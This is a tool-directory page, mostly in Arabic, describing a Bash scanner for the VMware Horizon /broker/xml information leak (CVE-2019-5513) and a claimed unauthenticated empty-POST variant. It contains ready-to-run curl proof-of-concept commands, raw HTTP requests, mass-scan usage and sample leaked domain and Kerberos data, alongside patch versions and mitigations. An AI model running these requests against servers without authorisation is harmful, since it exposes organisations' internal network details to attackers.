Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2019-5513-scanner — غالبًا ما يُستخدم خادم اتصال VMWare Horizon كبوابة مواجهة للإنترنت إلى بيئة سطح المكتب الافتراضي (VDI) الخاصة بالمؤسسة. حتى وقت قريب، كانت معظم هذه التثبيتات تكشف الاسم الداخلي لخادم الاتصال، وعنوان IP الداخلي للبوابة، ومجال Active Directory للمهاجمين غير المصادق عليهم. | Kitploit
أدوات/GitHubGitHub/sudosu01/cve-2019-5513-scanner
الاستطلاعماسحات الثغرات الأمنيةالاستغلالجمع المعلوماتأمن الويباختبار الاختراق
GitHubsudosu01/cve-2019-5513-scanner

CVE-2019-5513-scanner

غالبًا ما يُستخدم خادم اتصال VMWare Horizon كبوابة مواجهة للإنترنت إلى بيئة سطح المكتب الافتراضي (VDI) الخاصة بالمؤسسة. حتى وقت قريب، كانت معظم هذه التثبيتات تكشف الاسم الداخلي لخادم الاتصال، وعنوان IP الداخلي للبوابة، ومجال Active Directory للمهاجمين غير المصادق عليهم.

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
منذ 2 أشهرلم تتم المراجعة بعد

ماسح ثغرات VMware Horizon /broker/xml

Security Bash License

أداة فحص عالية الأداء متعددة الخيوط لاكتشاف ثغرات كشف المعلومات غير المُصرَّح بها في نقطة النهاية /broker/xml الخاصة بخادم اتصال VMware Horizon.

📋 نظرة عامة

يعرض خادم اتصال VMware Horizon نقطة نهاية XML API (/broker/xml) يمكنها تسريب معلومات إعدادات داخلية حساسة دون الحاجة إلى مصادقة. يحدد هذا الماسح بسرعة الخوادم المعرضة للخطر من خلال اختبار متجهي هجوم:

  1. نص POST فارغ (اكتشاف Zero-Day) — يرسل طلب POST فارغ تمامًا. يقوم الخادم بتسريب بيانات الإعدادات دون أي أمر XML.
  2. XML مُصمم (CVE-2019-5513) — يستخدم أمر XML الموثق get-configuration.

🔍 تفاصيل الثغرة

ما المعلومات التي يمكن تسريبها؟

root@kitploit:~
<?xml version="1.0" encoding="utf-8"?>
<broker>
    <configuration>
        <broker-service-principal>
            <type>kerberos</type>
            <name>[email protected]</name>
        </broker-service-principal>
        <domain>corporate-domain.example.com</domain>
    </configuration>
</broker>

⚡ الميزات
- سرعة فائقة — بنية متعددة الخيوط (50 خيطًا متزامنًا افتراضيًا)

- اختبار البروتوكولين — يفحص HTTPS (المنفذ 443) وHTTP (المنفذ 80) في الوقت نفسه

- متجهان للهجوم — يختبر نص POST فارغ (zero-day) + XML مُصمم (CVE-2019-5513)

- مهلات زمنية منخفضة — 5 ثوانٍ كحد أقصى لكل طلب، و3 ثوانٍ لمهلة الاتصال

- مخرجات واضحة — نتائج ملوّنة مع استجابة XML الكاملة للخوادم المصابة

- تصدير النتائج — حفظ جميع النتائج في ملف باستخدام الخيار -o

- لا تبعيات — يستخدم curl فقط (أداة قياسية على معظم الأنظمة)

🚀 التثبيت
```bash
# Clone the repository
git clone https://github.com/sudosu01/CVE-2019-5513-scanner.git

cd vmware-horizon-scanner

# Make the script executable
chmod +x broker.sh

📖 الاستخدام

فحص أساسي

root@kitploit:~
./broker.sh -d targets.txt

الفحص بعدد خيوط مخصص (أسرع)

root@kitploit:~
./broker.sh -d targets.txt -t 100

الفحص وحفظ النتائج

root@kitploit:~
./broker.sh -d targets.txt -t 100 -o results.txt

خيارات سطر الأوامر

الخيارالوصف
-d <file>ملف الإدخال الذي يحتوي على قائمة عناوين IP أو أسماء المضيفين (سطر لكل واحد)
-t <num>عدد الخيوط (الافتراضي: 50)

تنسيق ملف الإدخال (targets.txt)

root@kitploit:~
# Comments start with #
185.171.101.236
192.168.1.100
10.0.0.50
example-vmware.com

📊 مثال على المخرجات

root@kitploit:~
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
   VMware Horizon /broker/xml Vulnerability Scanner
   Multi-Threaded Mode - 50 threads
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[*] Testing: Empty POST (Zero-Day) + Crafted XML (CVE-2019-5513)
[*] Protocols: HTTPS + HTTP (both tested simultaneously)

[*] Scanning 3 hosts...

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[+] 185.171.101.236 | VULNERABLE | HTTPS | EMPTY_POST
Response:
<?xml version="1.0" encoding="utf-8"?>
<broker>
    <configuration>
        <broker-service-principal>
            <type>kerberos</type>
            <name>TEST-SERVER$@DOMAIN</name>
        </broker-service-principal>
    </configuration>
</broker>
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

[-] 192.168.1.100 | NOT VULNERABLE

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[+] 10.0.0.50 | VULNERABLE | HTTP | CRAFTED_XML
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[*] SCAN COMPLETE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
    Total hosts: 3
    Vulnerable: 2
    Not vulnerable: 1
    Time taken: 4 seconds

🔬 الاختبار باستخدام Burp Suite

للاختبار اليدوي، هذه هي الطلبات الأولية:

الاختبار 1: نص POST فارغ (Zero-Day)

root@kitploit:~
POST /broker/xml HTTP/1.1
Host: target.example.com
Content-Type: text/xml
User-Agent: VMware-Horizon-Client
Content-Length: 0

الاختبار 2: XML مُصمم (CVE-2019-5513)

root@kitploit:~
POST /broker/xml HTTP/1.1
Host: target.example.com
Content-Type: text/xml
User-Agent: VMware-Horizon-Client
Content-Length: 115

<?xml version='1.0' encoding='UTF-8'?><broker version='10.0'><get-configuration></get-configuration></broker>

📝 أوامر curl لإثبات المفهوم (PoC)

نص POST فارغ

root@kitploit:~
curl -k -X POST "https://target/broker/xml" \
  -H "Content-Type: text/xml" \
  -H "User-Agent: VMware-Horizon-Client" \
  -d ''

XML مُصمم

root@kitploit:~
curl -k -X POST "https://target/broker/xml" \
  -H "Content-Type: text/xml" \
  -H "User-Agent: VMware-Horizon-Client" \
  --data-binary '<?xml version="1.0" encoding="UTF-8"?><broker version="10.0"><get-configuration></get-configuration></broker>'

🛡️ المعالجة

قم بترقية خادم اتصال VMware Horizon إلى إصدار مصحح:

الإصدارالإصدار المُصحح
7.x7.8 أو أحدث
7.5.x7.5.2 أو أحدث
6.x6.2.8 أو أحدث

إجراءات تخفيف إضافية:

  • تنفيذ ضوابط وصول الشبكة لتقييد الوصول إلى نقطة النهاية /broker/xml

  • استخدام قواعد WAF لحظر الطلبات غير المصادق عليها إلى هذه النقطة

  • مراقبة طلبات POST المشبوهة إلى /broker/xml

🙏 الاعتمادات

تستند هذه الأداة إلى أبحاث الباحثين الأمنيين التاليين:

  • الاكتشاف الأصلي لـ CVE-2019-5513 — Atredis Partners

  • Cory Mathews من Critical Start (اكتشاف مستقل)

  • اكتشاف Zero-Day في هذه الأداة

تم تحديد متجه الهجوم بنص POST الفارغ أثناء أبحاث إضافية. تتطلب الثغرة الأصلية حِمل XML مُصمم؛ تختبر هذه الأداة أيضًا طريقة النص الفارغ، التي لا تتطلب إنشاء أي حِمل وهي أبسط في التنفيذ.

⚠️ إخلاء المسؤولية

هذه الأداة مخصصة للأغراض التعليمية ولاختبارات الأمان المصرح بها فقط. قد يؤدي فحص الأنظمة التي لا تملكها أو ليس لديك إذن صريح لاختبارها إلى انتهاك القوانين واللوائح. لا يتحمل المؤلفون أي مسؤولية عن سوء الاستخدام.

📄 الترخيص

رخصة MIT

⭐ الدعم

إذا وجدت هذه الأداة مفيدة، يرجى منحها نجمة على GitHub!

تنزيل الأداة
الخاصيةالقيمة
CVECVE-2019-5513
درجة CVSS5.3 (متوسطة)
المتجهAV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
المنتجات المتأثرةVMware Horizon Connection Server 7.x قبل 7.8، و7.5.x قبل 7.5.2، و6.x قبل 6.2.8
المعلومات المسرّبةاسم مجال Active Directory، واسم حساب الخدمة (حساب الجهاز)، وأسماء المضيفين الداخلية، وعناوين IP للبوابات
-o <file>ملف الإخراج لحفظ النتائج
-hعرض رسالة المساعدة